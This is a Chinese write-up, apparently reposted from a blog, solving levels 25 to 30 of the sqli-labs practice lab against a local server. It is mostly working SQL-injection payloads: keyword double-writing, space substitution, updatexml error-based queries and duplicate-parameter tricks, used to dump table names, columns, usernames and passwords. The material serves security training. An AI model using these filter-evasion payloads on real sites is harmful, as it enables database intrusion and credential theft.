欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 美食 > sqli-labs-master 25-30关

sqli-labs-master 25-30关

2024/10/24 4:39:48 来源:https://blog.csdn.net/a666666688/article/details/141001028  浏览:    关键词:sqli-labs-master 25-30关

sqli-labs第25关

由本题意可得过滤and和or,我用双写进行绕过,例如:infoorrmation,aandnd

数据库名

http://127.0.0.1/sqli-labs-master/Less-25/?id=-1%27%20union%20select%201,2,database()--+

表名

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_scchema=database() --+

sqli-labs第25a关

与25题相似,将’去掉就行,因为它是数字型注入

直接爆数据

http://127.0.0.1/sqli-labs-master/Less-25a/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20--+

sqli-labs第26关

过滤字符:逻辑运算符,注释符,空格

我们需要用单引号进行绕过,双写绕过逻辑运算符(and,or)或用&&和||替换

对于绕过空格,%09之类的不能绕过,可能因为apache解析的原因,所以只能使用()绕过

因此我们使用空格最少的报错注入最为合适

爆数据库表

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

爆字段名

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 

爆数据

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 

sqli-labs第26a关

爆数据库名

?id=1' aandnd(substr(database(),1,1)='0')anandd'1'='1

sqli-labs第27关

本关依旧过滤了空格,但没有过滤运算符,题目提示过滤了SELECT和UNION,我们可以通过双写或大小写来进行绕过,因为过滤了空格,所以本题依旧使用报错注入

爆数据库表

?id=1'||(updatexml(1,concat(0x7e,(SeLecT(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))||'0

爆字段名

?id=1'||(updatexml(1,concat(0x7e,(SeLecT(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))||'0 

爆数据

?id=1'||(updatexml(1,concat(0x7e,(SelEct(group_concat(password,username))from(users))),1))||'0 

sqli-labs第27a关

页面无明显报错回显,且过滤了空格,我们尝试使用联合查询

爆列名

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

爆数据

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

sqli-labs第28关

根据本题提示,页面回显分析得到,本题过滤了空格,union,select,且空格被多次过滤

我们在再去看看是如何过滤union和select的,直接看源码吧

示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。

爆表名

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

爆列名

 ?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆数据

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1

sqli-labs-master28a

发现此关没有过滤其他只过滤了union和select和+,#

爆表名

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

sqli-labs-master29

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

爆表名

?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

爆字段名

?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+

爆数据

?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs-master30

与29关相似,将单引号换成双引号即可

爆表名

?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

爆列名

?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+

爆数据

?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com